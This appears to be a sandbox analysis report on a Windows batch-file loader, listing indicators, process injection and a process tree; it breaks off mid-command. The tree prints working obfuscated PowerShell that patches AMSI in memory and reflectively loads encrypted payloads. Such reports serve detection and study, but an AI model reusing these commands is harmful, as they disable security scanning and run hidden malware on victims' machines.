Set value (data)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\e847193d-5d9f-46f4 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000088c6745113b1da017dc4b25113b1da017dc4b25113b1da01619206000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000bc58397b2000366332653934636136653565313632336632366236656430393433663566643364613764356161343437303330303366353164656366386133373734393761620000b20009000400efbebc58397bbc58397b2e000000000000000000000000000000000000000000000000006ffbc800360063003200650039003400630061003600650035006500310036003200330066003200360062003600650064003000390034003300660035006600640033006400610037006400350061006100340034003700300033003000300033006600350031006400650063006600380061003300370037003400390037006100620000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea0000001800000003000000310225cd1000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c36633265393463613665356531363233663236623665643039343366356664336461376435616134343730333030336635316465636638613337373439376162000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000736e667667716c750000000000000000a40a9b40716b2445984d9ed1edd3eb7cfb36ae6c2f0def1192f1d6aa8b0874bda40a9b40716b2445984d9ed1edd3eb7cfb36ae6c2f0def1192f1d6aa8b0874bdd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003500350038003200390034003800360035002d0033003600370033003800340034003300350034002d0032003200350035003400340034003900330039002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d0000006800000000480000005b101051000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\fc357ad4-b3b7-43fd = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3558294865-3673844354-2255444939-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59a31933-61a1-4eb1 = "\\\\?\\Volume{5110105B-0000-0000-0000-D01200000000}\\Users\\Admin\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\StagedAssets\\db3e2a0dfacd9c43e7636fedbdb46e65f90a7e290d4e40fa97f28ce82e35f6dd"	RuntimeBroker.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exewmiprvse.exe

pid	process
3556	powershell.exe
3556	powershell.exe
2704	powershell.exe
2704	powershell.exe
1108	powershell.exe
1108	powershell.exe
3672	powershell.EXE
3672	powershell.EXE
3672	powershell.EXE
3672	powershell.EXE
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1108	powershell.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1108	powershell.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1108	powershell.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
4496	wmiprvse.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1108	powershell.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe
1772	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	3556	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	powershell.exe
Token: SeSecurityPrivilege	2704	powershell.exe
Token: SeTakeOwnershipPrivilege	2704	powershell.exe
Token: SeLoadDriverPrivilege	2704	powershell.exe
Token: SeSystemProfilePrivilege	2704	powershell.exe
Token: SeSystemtimePrivilege	2704	powershell.exe
Token: SeProfSingleProcessPrivilege	2704	powershell.exe
Token: SeIncBasePriorityPrivilege	2704	powershell.exe
Token: SeCreatePagefilePrivilege	2704	powershell.exe
Token: SeBackupPrivilege	2704	powershell.exe
Token: SeRestorePrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeSystemEnvironmentPrivilege	2704	powershell.exe
Token: SeRemoteShutdownPrivilege	2704	powershell.exe
Token: SeUndockPrivilege	2704	powershell.exe
Token: SeManageVolumePrivilege	2704	powershell.exe
Token: 33	2704	powershell.exe
Token: 34	2704	powershell.exe
Token: 35	2704	powershell.exe
Token: 36	2704	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	powershell.exe
Token: SeSecurityPrivilege	2704	powershell.exe
Token: SeTakeOwnershipPrivilege	2704	powershell.exe
Token: SeLoadDriverPrivilege	2704	powershell.exe
Token: SeSystemProfilePrivilege	2704	powershell.exe
Token: SeSystemtimePrivilege	2704	powershell.exe
Token: SeProfSingleProcessPrivilege	2704	powershell.exe
Token: SeIncBasePriorityPrivilege	2704	powershell.exe
Token: SeCreatePagefilePrivilege	2704	powershell.exe
Token: SeBackupPrivilege	2704	powershell.exe
Token: SeRestorePrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeSystemEnvironmentPrivilege	2704	powershell.exe
Token: SeRemoteShutdownPrivilege	2704	powershell.exe
Token: SeUndockPrivilege	2704	powershell.exe
Token: SeManageVolumePrivilege	2704	powershell.exe
Token: 33	2704	powershell.exe
Token: 34	2704	powershell.exe
Token: 35	2704	powershell.exe
Token: 36	2704	powershell.exe
Token: SeIncreaseQuotaPrivilege	2704	powershell.exe
Token: SeSecurityPrivilege	2704	powershell.exe
Token: SeTakeOwnershipPrivilege	2704	powershell.exe
Token: SeLoadDriverPrivilege	2704	powershell.exe
Token: SeSystemProfilePrivilege	2704	powershell.exe
Token: SeSystemtimePrivilege	2704	powershell.exe
Token: SeProfSingleProcessPrivilege	2704	powershell.exe
Token: SeIncBasePriorityPrivilege	2704	powershell.exe
Token: SeCreatePagefilePrivilege	2704	powershell.exe
Token: SeBackupPrivilege	2704	powershell.exe
Token: SeRestorePrivilege	2704	powershell.exe
Token: SeShutdownPrivilege	2704	powershell.exe
Token: SeDebugPrivilege	2704	powershell.exe
Token: SeSystemEnvironmentPrivilege	2704	powershell.exe
Token: SeRemoteShutdownPrivilege	2704	powershell.exe
Token: SeUndockPrivilege	2704	powershell.exe
Token: SeManageVolumePrivilege	2704	powershell.exe
Token: 33	2704	powershell.exe
Token: 34	2704	powershell.exe
Token: 35	2704	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

powershell.exe

pid process

1108 powershell.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

Explorer.EXERuntimeBroker.exe

pid process

3564 Explorer.EXE
4020 RuntimeBroker.exe

pid	process
1108	powershell.exe

pid	process
3564	Explorer.EXE
4020	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXENew.exedllhost.exe

description	pid	process	target process
PID 4984 wrote to memory of 3556	4984	cmd.exe	powershell.exe
PID 4984 wrote to memory of 3556	4984	cmd.exe	powershell.exe
PID 4984 wrote to memory of 3556	4984	cmd.exe	powershell.exe
PID 3556 wrote to memory of 2704	3556	powershell.exe	powershell.exe
PID 3556 wrote to memory of 2704	3556	powershell.exe	powershell.exe
PID 3556 wrote to memory of 2704	3556	powershell.exe	powershell.exe
PID 3556 wrote to memory of 3160	3556	powershell.exe	WScript.exe
PID 3556 wrote to memory of 3160	3556	powershell.exe	WScript.exe
PID 3556 wrote to memory of 3160	3556	powershell.exe	WScript.exe
PID 3160 wrote to memory of 3932	3160	WScript.exe	cmd.exe
PID 3160 wrote to memory of 3932	3160	WScript.exe	cmd.exe
PID 3160 wrote to memory of 3932	3160	WScript.exe	cmd.exe
PID 3932 wrote to memory of 1108	3932	cmd.exe	powershell.exe
PID 3932 wrote to memory of 1108	3932	cmd.exe	powershell.exe
PID 3932 wrote to memory of 1108	3932	cmd.exe	powershell.exe
PID 1108 wrote to memory of 1576	1108	powershell.exe	Install.exe
PID 1108 wrote to memory of 1576	1108	powershell.exe	Install.exe
PID 1108 wrote to memory of 1576	1108	powershell.exe	Install.exe
PID 1108 wrote to memory of 1872	1108	powershell.exe	New.exe
PID 1108 wrote to memory of 1872	1108	powershell.exe	New.exe
PID 1108 wrote to memory of 1872	1108	powershell.exe	New.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 3672 wrote to memory of 1772	3672	powershell.EXE	dllhost.exe
PID 1872 wrote to memory of 744	1872	New.exe	SCHTASKS.exe
PID 1872 wrote to memory of 744	1872	New.exe	SCHTASKS.exe
PID 1872 wrote to memory of 744	1872	New.exe	SCHTASKS.exe
PID 1772 wrote to memory of 616	1772	dllhost.exe	winlogon.exe
PID 1772 wrote to memory of 676	1772	dllhost.exe	lsass.exe
PID 1772 wrote to memory of 948	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 60	1772	dllhost.exe	dwm.exe
PID 1772 wrote to memory of 512	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 944	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1052	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1088	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1132	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1168	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1260	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1312	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1428	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1440	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1456	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1504	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1512	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1672	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1708	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1764	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1800	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1904	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1160	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1448	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1544	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 1692	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 2092	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 2176	1772	dllhost.exe	spoolsv.exe
PID 1772 wrote to memory of 2248	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 2308	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 2472	1772	dllhost.exe	svchost.exe
PID 1772 wrote to memory of 2480	1772	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:60

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a8ae8d27-c8f7-4e9b-b6d3-d4ceee06f01e}
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:512

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:944

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1052

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1088

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Drops file in System32 directory
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1168

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:pgDlAAWuNCHz{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$HmCuUjVSatXZQH,[Parameter(Position=1)][Type]$MCQnJGYmdm)$dVTVkGMNmnz=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+[Char](108)+'e'+'c'+''+[Char](116)+''+'e'+''+[Char](100)+''+'D'+''+'e'+''+'l'+'e'+'g'+''+[Char](97)+''+'t'+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+'nMe'+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+''+'o'+''+'d'+'ul'+'e'+'',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+''+[Char](103)+'a'+'t'+''+[Char](101)+'T'+'y'+'p'+'e'+'',''+[Char](67)+'l'+[Char](97)+'ss'+','+''+[Char](80)+''+'u'+''+[Char](98)+''+[Char](108)+''+'i'+'c,'+[Char](83)+''+'e'+''+'a'+''+[Char](108)+''+'e'+''+[Char](100)+','+'A'+''+[Char](110)+'s'+[Char](105)+'C'+[Char](108)+''+[Char](97)+''+'s'+''+'s'+''+[Char](44)+''+'A'+''+'u'+''+'t'+''+'o'+''+'C'+''+[Char](108)+''+[Char](97)+'s'+[Char](115)+'',[MulticastDelegate]);$dVTVkGMNmnz.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+'e'+[Char](99)+'ia'+[Char](108)+''+[Char](78)+'a'+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'d'+'e'+''+[Char](66)+''+'y'+'S'+[Char](105)+''+[Char](103)+''+','+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$HmCuUjVSatXZQH).SetImplementationFlags(''+[Char](82)+''+'u'+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+[Char](101)+',M'+'a'+''+'n'+'a'+[Char](103)+''+[Char](101)+''+'d'+'');$dVTVkGMNmnz.DefineMethod(''+[Char](73)+'n'+[Char](118)+'o'+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+'b'+[Char](108)+''+[Char](105)+''+[Char](99)+''+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+''+[Char](121)+'S'+[Char](105)+''+'g'+''+','+''+[Char](78)+'e'+[Char](119)+''+[Char](83)+''+'l'+'o'+[Char](116)+''+[Char](44)+''+[Char](86)+'i'+[Char](114)+''+[Char](116)+''+[Char](117)+''+[Char](97)+''+[Char](108)+'',$MCQnJGYmdm,$HmCuUjVSatXZQH).SetImplementationFlags(''+'R'+''+'u'+''+'n'+''+[Char](116)+''+[Char](105)+'m'+'e'+''+[Char](44)+'Ma'+[Char](110)+''+[Char](97)+'ge'+[Char](100)+'');Write-Output $dVTVkGMNmnz.CreateType();}$DDFwvpkiXqkSJ=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+'t'+''+[Char](101)+''+'m'+'.'+[Char](100)+'l'+[Char](108)+'')}).GetType(''+[Char](77)+'ic'+'r'+''+'o'+''+[Char](115)+'o'+'f'+'t'+[Char](46)+''+[Char](87)+''+'i'+''+[Char](110)+''+[Char](51)+''+[Char](50)+''+'.'+'U'+'n'+''+[Char](115)+''+[Char](97)+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+'o'+''+[Char](100)+'s');$GuLRZOKUgaVgoE=$DDFwvpkiXqkSJ.GetMethod(''+[Char](71)+'e'+[Char](116)+'P'+'r'+''+'o'+''+'c'+''+'A'+''+'d'+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('Pub'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+'S'+'t'+'a'+'t'+'i'+'c'),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QbppYFZtbiLMnWXpIxI=pgDlAAWuNCHz @([String])([IntPtr]);$fHNYSTRsWLIafDUVqLpkfC=pgDlAAWuNCHz @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MQeouJFlgQv=$DDFwvpkiXqkSJ.GetMethod('G'+'e'+''+[Char](116)+'M'+[Char](111)+''+'d'+''+[Char](117)+''+'l'+'e'+[Char](72)+''+'a'+''+[Char](110)+'dl'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+'e'+''+[Char](114)+'n'+[Char](101)+'l'+[Char](51)+'2'+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$tBfhMItlOpStay=$GuLRZOKUgaVgoE.Invoke($Null,@([Object]$MQeouJFlgQv,[Object]('L'+[Char](111)+''+[Char](97)+''+[Char](100)+''+[Char](76)+''+'i'+'br'+'a'+''+'r'+''+[Char](121)+''+'A'+'')));$KFExmVJJwFNaHdjYw=$GuLRZOKUgaVgoE.Invoke($Null,@([Object]$MQeouJFlgQv,[Object](''+[Char](86)+''+[Char](105)+'r'+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'P'+'r'+'o'+[Char](116)+''+[Char](101)+''+[Char](99)+''+'t'+'')));$aSnGzLe=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tBfhMItlOpStay,$QbppYFZtbiLMnWXpIxI).Invoke(''+[Char](97)+'m'+'s'+''+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$FPTahGyytFXRlWQxi=$GuLRZOKUgaVgoE.Invoke($Null,@([Object]$aSnGzLe,[Object](''+[Char](65)+''+[Char](109)+''+[Char](115)+''+[Char](105)+'S'+[Char](99)+''+[Char](97)+''+[Char](110)+''+[Char](66)+''+'u'+'f'+[Char](102)+'er')));$TlmyTFngel=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KFExmVJJwFNaHdjYw,$fHNYSTRsWLIafDUVqLpkfC).Invoke($FPTahGyytFXRlWQxi,[uint32]8,4,[ref]$TlmyTFngel);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$FPTahGyytFXRlWQxi,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($KFExmVJJwFNaHdjYw,$fHNYSTRsWLIafDUVqLpkfC).Invoke($FPTahGyytFXRlWQxi,[uint32]8,0x20,[ref]$TlmyTFngel);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+'R'+'E').GetValue(''+'$'+''+[Char](55)+''+'7'+'s'+[Char](116)+'a'+[Char](103)+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1312

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1428

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1440

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1456

C:\Windows\system32\sihost.exe
sihost.exe
2⤵
PID:2676

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1512

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1708

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1764

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1800

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1904

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1160

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1448

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1544

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
PID:1692

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2092

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2176

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2248

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2308

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2480

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:2664

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
PID:2724

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:2752

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2824

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2848

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2860

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2932

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:2768

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3400

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious use of UnmapMainImage
PID:3564

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat"
2⤵
- Suspicious use of WriteProcessMemory
PID:4984

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('F+5wamWtVzd3aK2bnS7nWh4XV0PZc2pVZ9YG0yRK5cI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lnHVCKXb70Ny+fnCAwMhpw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $fLkgt=New-Object System.IO.MemoryStream(,$param_var); $wtCVF=New-Object System.IO.MemoryStream; $XRlUB=New-Object System.IO.Compression.GZipStream($fLkgt, [IO.Compression.CompressionMode]::Decompress); $XRlUB.CopyTo($wtCVF); $XRlUB.Dispose(); $fLkgt.Dispose(); $wtCVF.Dispose(); $wtCVF.ToArray();}function execute_function($param_var,$param2_var){ $PEWwL=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iVLBa=$PEWwL.EntryPoint; $iVLBa.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat';$OJTBF=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Queen Loader.bat').Split([Environment]::NewLine);foreach ($Wvrxg in $OJTBF) { if ($Wvrxg.StartsWith(':: ')) { $TvDjF=$Wvrxg.Substring(3); break; }}$payloads_var=[string[]]$TvDjF.Split('\');$payload1_var=decompress_function 